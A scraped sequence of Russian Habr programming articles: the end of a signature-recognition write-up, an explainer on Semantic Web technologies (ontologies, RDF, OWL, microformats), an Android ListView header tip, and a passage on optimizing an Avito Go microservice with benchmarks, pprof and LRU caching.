public static IEnumerable GetExteriorAngles(this Point[] pts)
{
LineSegment2D[] edges = pts.PolyLine(true);
return edges
.Select((edge, j) => Math.Abs(edges[(j + 1) % edges.Length]
.GetExteriorAngleDegree(edge)));
}
```
Потребляемые ресурсы
--------------------
Разработка данного решения велась на компьютере со следующей конфигурацией:
| | |
| --- | --- |
| CPU | Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz 3.40 GHz |
| Видеоадаптер | Intel(R) HD Graphics 530 |
| Оперативная память | 16,0 ГБ |
| Тип системы | 64-разрядная операционная система, процессор x64 |
Посмотрим на потребляемые ресурсы, используя изображение с указанными параметрами:
| | |
| --- | --- |
| Ширина | 1251 пикселей |
| Высота | 1776 пикселей |
| Горизонтальное разрешение | 150 точек на дюйм |
| Вертикальное разрешение | 150 точек на дюйм |
| Глубина цвета | 24 |
| Размер | 306 КБ |
После однократного прогона такого изображения через алгоритм мы получаем такие результаты:
Как видно из рисунка, потребление памяти сильно выше размера самого скан-образа. Это связано с тем, что мы оперируем большим количеством изображений: каждый раз, совершая операцию с изображением, мы создаем его новый экземпляр, который храним в памяти. Так как все неуправляемые ресурсы в программе мы высвобождаем, предполагается, что в итоге потребление памяти будет зависеть только от исходного изображения и не будет расти просто так.
Так как на машине, на которой велась разработка, используется встроенный GPU, на обработку графики задействовались мощности CPU – на скриншоте видно, какую долю ресурсов процессора это занимает.
Теперь прогоним это же изображение, но уже 10 раз и посмотрим на результат:
Как видно из рисунка, наше предположение оказалось верным. Прогнав изображение 10 раз, мы не получили повышенное потребление памяти. Оно вообще почти не изменилось.
Из представленного рисунка с распределением ресурсов по категориям видим, что изменения тоже не большие.
Результат алгоритма распознавания по прямоугольнику
---------------------------------------------------
Первая итерация функционала по распознаванию подписи включала только алгоритм распознавания по прямоугольнику. В таком виде мы отправили его в бой. Из 80 тыс. документов алгоритм хорошо отрабатывал немногим меньше 80% всего объема. Также в ходе эксплуатации начали фиксировать случаи ложных срабатываний. Как оказалось, причин ложных срабатываний или неудачных попыток распознавания было две: либо документ был слишком низкого качества, либо подпись на этих документах была настолько неординарная, что алгоритму не удавалось нормально определить ее контуры.
В следующей статье речь пойдет о том, как мы решали указанные проблемы. | https://habr.com/ru/post/675838/ | null | ru | null |
# Элементы семантической паутины
Сложность структуры современного информационного общества постоянно растёт. В связи с этим, требования к эффективности алгоритмов обработки информации также увеличиваются. В последнее время наиболее популярными направлениями в этой области являются Data Mining (DM), Knowledge Discovery in Databases (KDD) и Machine Learning (ML). Все они предоставляют теоретическую и методологическую базу для изучения, анализа и понимания огромных объёмов данных.
Однако этих методов не достаточно, если сама структура данных будет настолько плохо пригодной для машинного анализа, как исторически сложилось на сегодняшний момент в Internet.
Для решения данной проблемы предпринята глобальная инициатива реорганизации структуры данных Internet в целях преобразования его в Семантическую Паутину предоставляющую возможности по эффективному поиску и анализу данных как человеком так и программным агентам.
В этой статье рассмотрены основные технологии позволяющие реализовать Semantic WEB.
Важнейшим недостатком существующей структуры Internet является то, что он практически не использует стандартов представления данных удобных для понимания компьютером, а вся информация предназначена в первую очередь для восприятия человеком. К примеру, для того, чтобы получить время работы семейного врача, достаточно зайти на сайт поликлиники и найти его в списке всех практикующих врачей. Однако, если это просто сделать человеку то программному агенту в автоматическом режиме это практически невозможно, если только не создавать его с учётом жёсткой структуры конкретного сайта.
**Процесс дисциляции знания**
Для решения подобных проблем используются *онтологии*, позволяющие описать любую предметную область в понятных для машины терминах и эффективно использовать *мобильных агентов*.
При использовании такого подхода, дополнительно к видимой человеком информации на каждой странице имеются также и служебная информация, позволяющая эффективно использовать данные программными агентами.
В свою очередь онтологии являются составной частью глобального видения развития сети Internet на новый уровень, называемый **Semantic WEB** (SW).
**Стек понятий семантической паутины**
Важнейшие понятия Semantic WEB
------------------------------
Для достижения столь сложной цели как глобальная реорганизация всемирной сети требуется целый набор взаимосвязанных технологий. На вышеприведённом рисунке приводится общая структура понятий Semantic WEB. Ниже приводится краткое описание ключевых технологий.
### Semantic WEB
Понятие семантической паутины является центральным в современном понимании эволюции Internet. Считается, что в будущем данные в сети будут представлены как в обычном виде страниц, так и в виде метаданных, примерно в одинаковой пропорции, что позволит машинам использовать их для логических заключений реализуя все преимущества от использования методов ML. Повсеместно будут использоваться *унифицированные идентификаторы ресурсов* (URI) и *онтологии*.
Однако, не всё так радужно, существуют и сомнения в возможности полной реализации семантической паутины. Основные тезисы в пользу сомнения в возможности создания эффективной семантической паутины:
• Человеческий фактор люди могут врать, ленится добавлять метаописания, использовать неполные или просто неправильные метаданные. Как вариант решения данной проблемы можно использовать автоматизированные средства создания и редактирования метаданных.
• Излишнее дублирование информации, когда каждый документ должен иметь полное описание как для человека так и для машины.
Это отчасти решается внедрением *[микроформатов](http://microformats.org/)*.
Кроме самих метаданных, важнейшей составной частью SW является семантические Web сервисы. Они являются источниками данных для агентов семантической паутины, изначально нацелены на взаимодействие с машинами, имеют средства рекламы своих возможностей.
### URI (Uniform Resource Identifier)
URI является унифицированным идентификатором любого ресурса. Может указывать как на виртуальный так и на физический объект. Представляет собой уникальную символьную строку. Самым известным URI на сегодня является URL, являющейся идентификатором ресурса в Internet и дополнительно содержащий информацию о местонахождении адресуемого ресурса.
**Базовый формат URI**
### Онтологии
Применительно к области Machine Learning под онтологией понимается некая структура, концептуальная схема, описывающая (формализующая) значения элементов некоторой предметной области (ПРО). Онтология состоит из набора терминов и правил описывающих их связи, отношения.
Обычно онтологии строятся из *экземпляров*, *понятий, атрибутов* и *отношений*.
* *Экземпляр* — элементы самого нижнего уровня. Главной целью онтологий является именно классификация экземпляров, и хотя их наличие в онтологии не обязательно, но как правило они присутствуют. **Пример**: слова, породы зверей, звёзды.
* *Понятия* — абстрактные наборы, коллекции объектов.
**Пример**: Понятие «звёзды», вложенное понятие «солнце». Чем является «солнце», вложенным понятием или экземпляром (светилом) — зависит от онтологии.
Понятие «светило», экземпляр «солнце».
* *Атрибуты* — каждый объект может иметь необязательный набор атрибутов позволяющий хранить специфичную информацию.
**Пример**: объект солнце имеет такие атрибуты как
• Тип: жёлтый карлик;
• Масса: 1.989 · 1030 кг;
• Радиус: 695 990 км.
* *Отношения* — позволяют задать зависимости между объектами онтологии.
Так — как между различными онтологиями возможно установление точек пересечения, то использование онтологий позволяет смотреть на одну ПРО с различных точек зрения и в зависимости от задачи пользоваться различным уровнями детализации рассматриваемой ПРО. Понятие уровней детализации онтологии является одним из ключевых, к примеру, для обозначения цвета сигнала светофора иногда достаточно просто указать «зелёный», тогда как при описании цвета покраски машины может не хватить даже такого детального описания как «*тёмно зелёный, близкий по тональности к хвое*».
Рассмотрим общую структуру применения онтологий.
**Часть возможной онтологии адресов**
Пример возможного правила в онтологии адресов. В случае использования данной онтологии для того, чтобы отослать письмо в американский университет, достаточно указать его название, программный агент сам найдёт его адрес на основе стандартной адресной информации с сайта университета, если нужно отослать письмо на конкретный факультет, то с сайта будет получен список всех факультетов и выбран нужный, и уже с сайта требуемого факультета взят адрес, далее, используя вышеприведённую онтологию программа определит формат адреса принятый в США.
Компьютер не понимает всей информации в полном смысле слова, но использование онтологий позволяет ему намного более эффективно и осмысленно пользоваться доступными данными.
Конечно, остаётся много вопросов, к примеру, как в начале агент найдёт сайт требуемого университета? Однако для этого уже сейчас разработаны средства. К примеру, Язык Онтологии Сетевых Сервисов (Web Services Ontology Language, OWL-S) который позволяет сервисам рекламировать свои возможности, услуги.
### Таксономии
Таксономии являются одним из вариантов реализации онтологий. С помощью таксономии возможно определить классы, на которые делятся объекты некоторой предметной области, а также то, какие отношения существуют между этими классами. В отличие от онтологий, задача таксономий чётко определена в рамках иерархической классификации объектов.
Современные языки описания онтологий
------------------------------------
**RDF** (Resource Description Framework) язык описания метаданных ресурсов, главной его целью является представление утверждений в виде одинаково хорошо воспринимаемом как человеком, так и машиной.
Атомарным объектом в RDF является триплет: субъект — предикат — объект. Считается, что любой объект, можно описать в терминах простых свойств и значений этих свойств.
Пример таблицы с выделенными параметрами
**Пример таблицы с выделенными параметрами**
Перед двоеточием должен указываться Уникальный Идентификатор Ресурса URI (Uniform Resource Identifier), однако в целях экономии трафика допускается указать только пространство имён.
Также, в целях улучшения восприятия человеком, существует практика представления схем RDI в. виде графов.
**Пример схемы RDI в виде графа**
**OWL** (Web Ontology Language)язык Веб онтологий, созданный для представления значения терминов и отношения между этими терминами в словарях. В отличии от RDF, данный язык использует более высокий уровень абстракции, что позволяет языку наряду с формальной семантикой использовать дополнительный терминологический словарь.
Важным преимуществом OWL является то, что его основу положена чёткая математическая модель дескрипционных логик
**Место OWL в общей структуре Semantic WEB с точки зрения консорциума W3C**
* XML — предоставляет возможности создания структурированных документов, но не предъявляет к ним никаких семантических требований;
* XML Schema — определяет структуру XML документов и дополнительно позволяет использовать конкретные типы данных;
* RDF — предоставляет возможность описывать абстрактные модели данных некоторых объектов и отношения между ними. Использует простую семантику на основе XML синтаксиса;
* RDF Schema — позволяет описывать свойства и классы RDF — ресурсов, а также семантику отношений между ними;
* OWL — расширяет описательные возможности предыдущих технологий. Позволяет описывать отношения между классами (к примеру непересекаемость), кардинальность (например «точно один»), симметрия, равенство, перечисляемые типы классов.
По степени выразительности выделяют три диалекта OWL
* OWL Lite — является подмножеством полной спецификации, предоставляющим минимально достаточные средства описания онтологий. Предназначен для снижения первичного внедрения OWL. А также для упрощения миграции на OWL тезаурусов и прочих таксономий. Гарантируется, что логический вывод на метаданных с выразительностью OWL Lite выполняется за полиномиальное время (сложность алгоритма принадлежит классу Р).
Диалект основан на дескрипционной логике SHLF(D)
* OWL DL — с одной стороны предоставляет максимальную выразительность, полноту вычислений (все они будут гарантированно вычисляемыми) и полную разрешаемость (все вычисления завершаются в определённое время). Но в связи с этим имеет строгие ограничения, к примеру на взаимосвязи классов и время выполнения некоторых запросов по таким данным могут требовать экспоненциального времени выполнения.
Диалект основан на дескрипционной логике SHOLN(D)
* OWL Full — предоставляет максимальную выразительную свободу, но не даёт никаких гарантий разрешаемости. Все созданные структуры опираются обоснованы только реализуемым алгоритмом. Считается маловероятным, что какое-либо рассудочное программное обеспечение будет в состоянии поддержать полную поддержку каждой особенности OWL Full.
Не соответствует ни одной дескрипционной логике, так — как в принципе является не разрешимым.
На данный момент язык OWL является основным инструментом описания онтологий.
Программные (мобильные, пользовательские) агенты (SA)
-----------------------------------------------------
В рассматриваемой ПРО SA считается программой, действующей от имени пользователя, самостоятельно выполняющей сбор информации на протяжении некоторого, возможно длительного времени. Также важной их особенностью является возможность взаимодействовать с другими агентами и сервисами для достижения поставленной цели.
В отличии от ботов поисковых машин, которые просто сканируют диапазоны WEB страниц, агенты перемещаются от сервера к серверу, т. е. на отправном сервере он уничтожается, а на принимающем создаётся с полным набором собранной ранее информации. Такая модель позволяет агенту использовать доступные серверу, источники данных, которые не доступны посредством WEB интерфейса.
Понятно, что на сервере должна быть установлена платформа, позволяющая принять агента и обслужить его запросы. Также важно уделить внимание безопасности и целостности агентов. Для этого применяется подход выделенных пространств, когда агент работает в некотором безопасном окружении с ограниченными правами и возможностями воздействия на систему.
Агенты по своей реализации делятся на обычные и обучающиеся.
Если первые предназначены для выполнения чётко поставленных задач, то в основу вторых заложена гибкость, обычно они создаются на основе нейронных сетей. Использование нейронных сетей позволяет агенту постоянно подстраиваться под требования пользователя, а также более эффективно взаимодействовать с Internet.
Микроформаты
------------
Микроформаты являются попыткой создать семантическую разметку разнообразных сущностей на Web-страницах одинаково хорошо воспринимаемую как человеком так и машиной. Информация в некотором микроформате не требует применения дополнительных технологий или пространств имён дополнительно к простому (X)HTML. Спецификация микроформата, это просто соглашение на стандарты поименования классов элементов оформления страницы позволяющих хранить в каждом из них соответствующие данные.
Для примера разберём формат hCalendar.
Данный микроформат является подмножеством формата iCalendar (RFC 2445) и предназначен для описания дат будущих или прошедших событий для предоставления возможностей их автоматической агрегации поисковыми агентами.
> `<div class="vevent">
> <a class="url" href="http://www.web2con.com/">
> http://www.web2con.com/
> a>
> <span class="summary">
> Web 2.0 Conference
> span>:
> <abbr class="dtstart" title="2007-10-05">
> October 5
> abbr>
> -
> <abbr class="dtend" title="2007-10-20">
> 19
> abbr>
> ,at the
> <span class="location">
> Argent Hotel, San Francisco, CA
> span>
> div>
>
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/79210/ | null | ru | null |
# ListView внутри ScrollView
В работе над проектом возникла необходимость отрисовать лейаут такого вида: сверху компактным блоком располагаются детали топика, а под ними – список комментариев к этому топику. Сначала оно было реализовано естественным образом: лейаут деталей топика, а под ним – список. Позже ТЗ поменялось, и получилось, что нужно заголовок скролить вместе со списком.
Первым побуждением было сделать то, что вынесено в заголовок: поместить *ListView* внутрь *ScrollView*. Получившаяся штука отображалась некорректно, что заставило меня зарыться поглубже в гугл.
Во многих местах в сети (например, тут: <https://groups.google.com/forum/#!topic/android-beginners/LRpLgGOy2Pc> или тут: <http://stackoverflow.com/questions/1526831/android-scrollview-layout-problem>) напрямую говорится о том, что так делать нельзя. Для реализации таких вещей у *ListView* предусмотрены штатные заголовки (headers).
Добавление заголовков производится вызовом метода класса *ListView*:
[`public void addHeaderView (View v)`](http://developer.android.com/reference/android/widget/ListView.html#addHeaderView(android.view.View))
где *View v* можно создавать любым способом (или явным вызовом конструктора, или через inflater).
`View hv = ...;
listView.addHeaderView(hv);`
Заголовков у *ListView* может быть больше одного. С их количеством, кстати, связана ещё одна особенность: по умолчанию заголовки тоже кликабельны, как и обычные элементы списка, клик на них вызывает отработку лиснеров, заданных вызовами *setOnItemClickListener* и *setOnItemLongClickListener*, так что позиция кликнутого элемента, которая передаётся в лиснеры в параметре *position*, будет смещена на количество заголовков. Этот факт нужно обязательно учитывать в лиснерах при обработке. Для этого у *ListView* есть метод:
[`int getHeaderViewsCount()`](http://developer.android.com/reference/android/widget/ListView.html#getHeaderViewsCount())
который возвращает количество заголовков списка. На значение, которое он возвращает, можно, например, уменьшить значение *position*, полученное в лиснере, перед позиционированием во внутреннем списке данных.
`protected OnItemClickListener itemClickListener = new OnItemClickListener() {
public void onItemClick(final AdapterView l, final View v, final int position, final long id) {
MyItem myItem = myItems.get(position - listView.getHeaderViewsCount());
// do something to myItem
}
};`
Существует ещё один метод для добавления заголовков, чуть более сложный:
[`public void addHeaderView (View v, Object data, boolean isSelectable)`](http://developer.android.com/reference/android/widget/ListView.html#addHeaderView(android.view.View,%20java.lang.Object,%20boolean))
Он предоставляет возможность сделать заголовок некликабельным: если в третий параметр передать *false*, то при клике на заголовок не будет отрабатывать *onItemClickListener* списка. Лиснеры же, заданные для views, расположенных внутри такого заголовка, будут отрабатывать штатно. Однако, даже в этом случае, несмотря на некликабельность заголовка, нумерация элементов для *position* всё равно будет учитывать их наличие.
`View hv = ...;
listView.addHeaderView(hv, null, false);`
Для полноты изложения скажу, что вторым параметром (*Object data*), смысл которого не очень понятен из документации, на самом деле задаются данные, которые будут возвращаться методом [Adapter.getItem()](http://developer.android.com/reference/android/widget/Adapter.html#getItem(int)) (взято тут: <http://stackoverflow.com/questions/4311693/what-does-the-second-parameter-in-addheaderview-in-the-class-listview-do>).
Аналогичный набор методов есть у списка и для футеров (footers):
[`void addFooterView(View v)`](http://developer.android.com/reference/android/widget/ListView.html#addFooterView(android.view.View))
[`void addFooterView(View v, Object data, boolean isSelectable)`](http://developer.android.com/reference/android/widget/ListView.html#addFooterView(android.view.View,%20java.lang.Object,%20boolean))
[`int getFooterViewsCount()`](http://developer.android.com/reference/android/widget/ListView.html#getFooterViewsCount()) | https://habr.com/ru/post/125107/ | null | ru | null |
# Оптимизация микросервиса на Go на живом примере
Всем привет. Меня зовут Нещадин Иван, и я расскажу про оптимизацию одного из микросервисов Авито на Go. История построена вокруг различных инструментов, которые доступны в языке, и пойдёт от простых примеров к более сложным.
Какие были проблемы
-------------------
В процессе распила монолита у нас появилась необходимость получать публичный номер телефона в различных сервисах. Публичный номер телефона — это номер, который покупатель видит при нажатии кнопки «показать номер» на сайте или «позвонить» в мобильном приложении. Сейчас у нас три вида таких номеров: call tracking, анонимный номер и реальный номер продавца.
Анонимный номер мы выдаём пользователям за деньги в некоторых категориях объявлений. Как правило, это самые дорогие категории: транспорт и недвижимость. Мы делаем это для того, чтобы не показывать настоящий номер человека и переадресовывать вызовы. Call tracking номер тоже переадресовывает вызов, только у него есть дополнительные функции: запись разговоров, статистика звонков и так далее.
У нас было несколько трудностей, в связи с которыми мы решили вынести функциональность публичного номера телефона в отдельный сервис.
Первая проблема — дублирование логики получения номеров из трёх сервисов. Было три сервиса, и нам требовалось сходить в каждый из них, и в каждом месте, где нужно получить публичный номер, написать условия, по которым мы определяем, какой из трёх вариантов номеров показывать в данный момент.
Второй момент — потенциальные проблемы с безопасностью из-за того, что мы не могли контролировать все места выдачи номера телефона. Также для получения номера необходимо было сходить в интеграционное API монолита, потому что базы call tracking жили именно там.
Что решили сделать
------------------
Чтобы избавиться от проблем, мы решили создать отдельный сервис phones-gateway. Он принимает на вход ID пользователя, ID объявления, категории и телефон. Phones-gateway сам ходит в сервисы call tracking, реальных телефонов и анонимных номеров. Затем на основании какой-то бизнес-логики он определяет, какой конкретно номер нужно показывать в данной ситуации.
Для анонимных номеров там просто есть проверка на то, подключен анонимный номер или нет, доступна ли категория для анонимного номера. А для call tracking нам нужно знать, у каких пользователей он включен. Поэтому мы решили сохранять в памяти сервиса список людей, у которых включен call tracking, и обновлять этот список при помощи ручки.
И дальше возникает вопрос: что выбрать, чтобы организовать хранение таких статусов в памяти? На тот момент, когда мы делали сервис, на входе задачи было 12 000 статусов и прогноз, что их количество вырастет максимум в десять раз. Нам нужно было посчитать, что будет эффективным для хранения — массив (AKA slice) или map.
Реализация хранения статусов
----------------------------
Для начала накидаем реализации.
**Array cache.** Первая реализация кэша — через массив, то есть добавление через append и проверка на наличие в цикле. Потом вставка элементов.
```
type ArrayCache struct {
cache []int64
}
func (c *ArrayCache) Add(userId int64) {
c.cache = append(c.cache, userId)
}
func (c *ArrayCache) Has(userId int64) bool {
for _, innerUserId := range c.cache {
if innerUserId == userId {
return true
}
}
return false
}
```
ApplyItems необходим для синхронизации: мы дёргаем ручку в сервисе, и он нам возвращает, какие статусы были добавлены, то есть у каких пользователей статус включен, а у каких — выключен. Дальше нам нужно сохранить эти изменения в кэш. И удаление, в котором мы тоже просто перебираем статусы, пока не находим и удаляем.
```
func (c *ArrayCache) ApplyItems(items map[int64]int64) {
for userId, status := range items {
if c.Has(userId) && status == 6 {
c.Delete(userId)
}
if !c.Has(userId) {
c.Add(userId)
}
}
}
func (c *ArrayCache) Delete(userId int64) bool {
for i, userIdInternal := range c.cache {
if userIdInternal == userId {
c.cache[i] = c.cache[len(c.cache)-1]
c.cache[len(c.cache)-1] = 0
c.cache = c.cache[:len(c.cache)-1]
return true
}
}
return false
}
```
**Map cache.** И аналогично реализуем для map. Добавление, проверка на наличие, вставка в результате синхронизации и удаление.
```
type MapCache struct {
cache map[int64]int64
}
func NewMapCache() *MapCache {
return &MapCache{cache: make(map[int64]int64)}
}
func (c *MapCache) Add(userId, status int64) {
c.cache[userId] = status
}
func (c *MapCache) Has(userId int64) bool {
val, ok := c.cache[userId]
if !ok {
return false
}
if val == 6 {
return true
}
return false
}
func (c *MapCache) ApplyItems(items map[int64]int64) {
for userId, status := range items {
c.cache[userId] = status
}
}
func (c *MapCache) Delete(userId int64) {
delete(c.cache, userId)
}
```
Бенчмарки
---------
Определить, какая реализация хранения статуса в call tracking эффективнее, нам помогут бенчмарки. В Go бенчмарки — это методы, которые позволяют проверить производительность определённых функций. Что самое приятное, они встроены прямо в язык. Вызвать бенчмарк можно, например, при помощи:
```
go test -bench
```
Они нужны, чтобы:
* Сравнить производительность различных решений в коде.
* Сравнить между собой производительность библиотек и выбрать лучшую.
* Посчитать, сколько ресурсов и памяти нужно для работы той или иной функциональности или сервиса.
Давайте напишем бенчмарк на наши методы. В Go бенчмарки пишутся, как правило, рядом с тестами. Для того, чтобы Go знал, как их найти и запустить, функции бенчмарков должны иметь имя, которое начинается со слова **Benchmark**, и они всегда должны принимать `*testing.B`. Здесь у нас бенчмарк для вставки в массив и бенчмарк для проверки статуса в кэше-массиве:
```
func BenchmarkArrayInsert(b *testing.B) {
cache := ArrayCache{}
statuses := GenerateStatuses(0, 12000)
cache.ApplyItems(statuses)
b.ResetTimer()
for i := 0; i < b.N; i++ {
statuses := GenerateStatuses(int64(rand.Intn(i + 1) * 6000000), 1)
cache.ApplyItems(statuses)
}
}
func BenchmarkArray_Has(b *testing.B) {
cache := ArrayCache{}
statuses := GenerateStatuses(0, 12000)
cache.ApplyItems(statuses)
b.ResetTimer()
for i := 0; i < b.N; i++ {
cache.Has(int64(i))
}
}
```
Внутри бенчмарка мы генерируем статусы. Статус выбирается рандомно, соответственно, включен он или выключен — это просто число. Мы генерим 12 000 статусов, как и будет на проде, и записываем их в кэш.
Дальше идёт сам бенчмарк. Перед его запуском обязательно надо вызвать `ResetTimer`, так как какое-то время мы потратим на то, чтобы заполнить кэш. Бенчмарк выполняется в цикле до b.N, где b.N — это число итераций, которые Go регулирует самостоятельно.
Также напишем бенчмарк для заполнения кэша элементами. Внутри бенчмарка мы случайным образом генерируем десять изменившихся элементов и вставляем их в кэш.
```
func BenchmarkArray_ApplyItems(b *testing.B) {
cache := ArrayCache{}
statuses := GenerateStatuses(0, 12000)
cache.NewApplyItems(statuses)
b.ResetTimer()
for i := 0; i < b.N; i++ {
st := GenStatuses(10)
cache.NewApplyItems(st)
}
}
```
И запускаем бенчмарк при помощи команды `go test -bench`. Для запуска в качестве параметра bench указываем название бенчмарка:
```
go test -bench=. ./...
```
Здесь мы указали точку, т.е. нужно запустить все имеющиеся в папке бенчмарки.
Все бенчмарки прошли, и мы видим, что для массива скорость вставки чуть больше, чем для map. Это и понятно, потому что для вставки map нужно рассчитать хэш, но всё равно, разница совсем мала, буквально наносекунда. Но при этом массив сильно проигрывает в поиске элемента. В общем-то, это тоже понятно, потому что map имеет константное время для поиска. Но массив также очень сильно проигрывает в замене элементов.
Давайте попробуем узнать, есть ли какая-то разница по выделяемой памяти для работы этих хэшей. Для этого в Go есть встроенная функциональность в бенчмарке — флаг bencmem:
```
go test -bench=. ./... -benchmem
```
Теперь помимо информации, сколько времени занимает одна операция, мы видим, сколько памяти было выделено в рамках одного цикла бенчмарка, то есть вызова функции, и также видим, сколько аллокаций в этот момент было вызвано. Для вставки у нас выделяется 48 байт памяти на одну операцию и одна аллокация. Для замены выделяется пять аллокаций и 547 байт памяти. Но и для map эти значения в принципе одинаковые. Причём стоит отметить, что здесь учитывается только то, что выделяется в Heap. А то, что выделяется на стеке, никак не учитывается.
Утилиты pprof и benchcmp
------------------------
Где конкретно происходит выделение памяти, почему операций по её выделению так много для замены элементов и возможно ли это как-то оптимизировать? Ответить на всё эти вопросы поможет утилита pprof.
Pprof — утилита для профилирования программ на Go. Она позволяет узнать, какие функции сколько процессорного времени потратили, где и сколько памяти было выделено, посмотреть, что делала каждая горутина, сколько всего было горутин и так далее. Довольно универсальный инструмент.
Pprof является семплирующим профайлером. Он с какой-то периодичностью прерывает работу программы, берёт стек-трейс, сохраняет его, и в конце на основе того, как часто в стек-трейсах встречается та или иная функция, рассчитывает, сколько времени было потрачено на каждую функцию.
Давайте соберём профиль с наших бенчмарков. Для этого нужно указать флаг cpuprofile и путь до файлов, в которые мы хотим сохранить профиль:
```
go test -bench=. ./... -cpuprofile=cpu.profile
```
И важный момент: здесь я указал именно один бенчмарк, чтобы посмотреть профиль для массива и что там вообще происходит.
Но теперь остаётся вопрос, что нам делать с этим файлом профиля и как его просмотреть. Для этого есть команда
```
go tool pprof
```
В ней надо указать файл в качестве аргумента. Запустится интерактивный режим, в котором есть несколько полезных команд.
При помощи команды **top N** можно посмотреть топ-N мест по затратам производительности. И здесь мы видим, что 50% времени было затрачено на проверку наличия элементов в массиве. Это достаточно долго. И почему-то в ApplyItems у нас именно 50% времени занял поиск.
Давайте посмотрим глубже. В этом поможет команда **list** интерактивного режима pprof. После ввода list мы указываем название метода, который хотели бы просмотреть, и Go прямо показывает в коде, сколько времени было затрачено на какой строке.
Суммарно за все бенчмарки для функции Has на цикл было потрачено 890 миллисекунд. То есть циклы достаточно быстро работают, и точно не почти секунду для 12 000 элементов. На проверки было потрачено 30 миллисекунд. Тут я ещё проверил Delete. Видно, что 180 миллисекунд затрачено на перебор и 190 миллисекунд на проверки.
Пойдём дальше, потому что пока мы ничего не нашли. Непонятно, в чём конкретно проблема, есть ли она вообще. Попробуем выполнить list для функции ApplyItems, которую проверяем.
На проверку Has потрачено 330 миллисекунд, потом 370 миллисекунд на удаление, и потом 610 миллисекунд на проверку отсутствия элементов. То есть мы второй раз в цикле пробегаем все элементы, и это не очень хорошо. Попробуем что-нибудь переписать в реализации, чтобы убрать лишний вызов.
Теперь мы будем искать элемент в массиве один раз. Если не нашли, будем добавлять, а если нашли и статус означает, что call tracking выключен, будем удалять.
```
func (c *ArrayCache) ApplyItems(items map[int64]int64) {
for userId, status := range items {
if c.Has(userId) {
if status == 6 {
c.Delete(userId)
}
} else {
c.Add(userId)
}
}
}
```
Посмотрим, как изменилась производительность. Для этого есть утилита **[benchcmp](https://pkg.go.dev/golang.org/x/tools/cmd/benchcmp)**. Мы можем сохранить вывод бенчмарков в файл, и потом при помощи данной утилиты сравнить результаты. Она в удобном виде покажет, что изменилось.
Своим нехитрым изменением мы выиграли примерно 60% производительности, что в принципе очень даже неплохо. То есть pprof помог оптимизировать массив. Запустим бенчмарк ещё раз и посмотрим, изменилось ли что-то, и можем ли мы использовать теперь массив для решения задачи по хранению статусов.
Замена действительно стала значительно быстрее. Но по остальным задачам map всё равно продолжает выигрывать. И вроде как оптимизировать-то особо и нечего. Поэтому по производительности для нашей задачи побеждает кэш написанный с использованием map.
А теперь давайте проверим всё-таки насчёт аллокаций, может быть по памяти map проигрывает. Для этого воспользуемся флагом `-benchmem` и укажем там путь до профиля памяти. И потом при помощи pprof просмотрим этот профиль, топ-10 по потреблению, и где и сколько памяти было выделено.
Больше всего памяти выделяется внутри бенчмарка в момент генерации статусов, но это и понятно, потому что мы огромное количество раз генерируем map из десяти элементов. Но сама map потребляет не так много. Для нашей продовой задачи это вполне подходит. Поэтому берём map.
По результатам бенчмарков мы узнали, что:
* Для 12 000 элементов map имеет преимущество на чтение перед массивом примерно в 100 раз.
* Map занимает в Heap менее двух мегабайт памяти для хранения нужных нам данных.
* Благодаря инструментам профилирования и небольшому изменению кода нам удалось выиграть 60% производительности, и всё продолжает работать, как требуется.
Оптимизация сервиса
-------------------
Перейдём к более сложным примерам. Мы выбрали кэш, дописали код и задеплоили сервис. Всё хорошо, всё работает. Теперь зайдём на страницу с графиками:
Запросы в один из сервисов очень медленные, особенно по сравнению с остальными. У них практически постоянно время ответа держится в пределах 300 миллисекунд при том, что 300 миллисекунд — предел для тайм-аута. В результате сервис генерирует большое количество ошибок тайм-аутов. Что мы можем здесь оптимизировать?
Первое, что приходит в голову, — добавить кэш для того, чтобы не ходить лишний раз в сервис. То есть мы запросили номер один раз, сохранили его в памяти, и в следующий раз, когда у нас запросят номер, не пойдём в сервис, а отдадим его сразу из памяти.
Для этого отлично подходит LRU-кэш. Это такой вид кэша, когда есть ограниченное количество элементов, и новые значения вытесняют старые. Причём, если мы обращаемся к элементу часто, то он поднимается наверх и не вытесняется из кэша. Таким образом мы закэшируем все часто используемые значения, а все редко используемые не будут храниться в кэше.
Напишем реализацию такого кэша.
```
func (c *Cache) GetCalltracking(phones []RealPhone) (phonesInCache map[RealPhone]VirtualPhone, phonesNotFoundInCache []RealPhone) {
phonesInCache = make(map[RealPhone]VirtualPhone, len(phones))
phonesNotFoundInCache = make([]RealPhone, 0, len(phones))
if !config.calltracking.enabled {
phonesNotFoundInCache = phones
return
}
for _, realPhone := range phones {
value, err := c.calltracking.Get(realPhone)
if err == nil {
phonesInCache[realPhone] = value.(VirtualPhone)
continue
}
phonesNotFoundInCache = append(phonesNotFoundInCache, realPhone)
}
return
}
func (c *Cache) SetCalltracking(realPhone RealPhone, virtualPhone VirtualPhone) error {
if config.calltracking.enabled {
return c.calltracking.SetWithExpire(realPhone, virtualPhone, config.calltracking.ttl)
return c.calltracking.Set(realPhone, virtualPhone)
}
return nil
}
```
По умолчанию мы сохраняем номер телефона в кэш на 15 минут, так как номера call tracking могут меняться в течение дня. Для кэширования взяли библиотеку LRU GCache. Тип RealPhone — это обычный string, только с некоторыми проверками, как и VirtualPhone. Этот кэш — что-то вроде map с ключом в виде телефона и значением в виде другого телефона. Мы сохраняем соответствие реального номера телефона пользователя номеру call tracking.
Выкатываем кэш, и видим, что производительность стала получше. Не то чтобы очень сильно, но response time снизился. Число ошибок тоже уменьшилось, больше нет постоянной полочки.
После такого успешного исправления закономерно возникает мысль: а почему бы не добавить кэш для реальных номеров телефонов? Это поможет ещё быстрее отвечать пользователям. Добавляем такой же кэш с аналогичным кодом и видим, что производительность стала лучше. Нам удалось выиграть порядка 10 миллисекунд, и теперь пользователи в 95% случаев получают номер меньше, чем за 20 миллисекунд.
Выдыхаем. Идём пить чай, отдыхать и спать. На следующее утро просыпаемся, заходим в графики, и что видим?
У нас начал дико тротлить CPU. Это нехорошо, надо понять, почему так происходит.
Для начала разберёмся, что такое троттлинг и CPU в терминах Kubernetes. Когда мы запрашиваем один CPU в Kubernetes, это не значит, что нам выделяется конкретно одно ядро процессора из 48, например. Это означает, что нашему контейнеру будет выделено время работы CPU, равное времени одного ядра.
В терминах Kubernetes одно ядро — это тысяча миллиядер. Каждые 100 ms планировщик Kubernetes замеряет, сколько процессорного времени потратил pod. 1000 m — в рамках 100 ms pod’у будет доступно полностью время выполнения на одном ядре процессора.
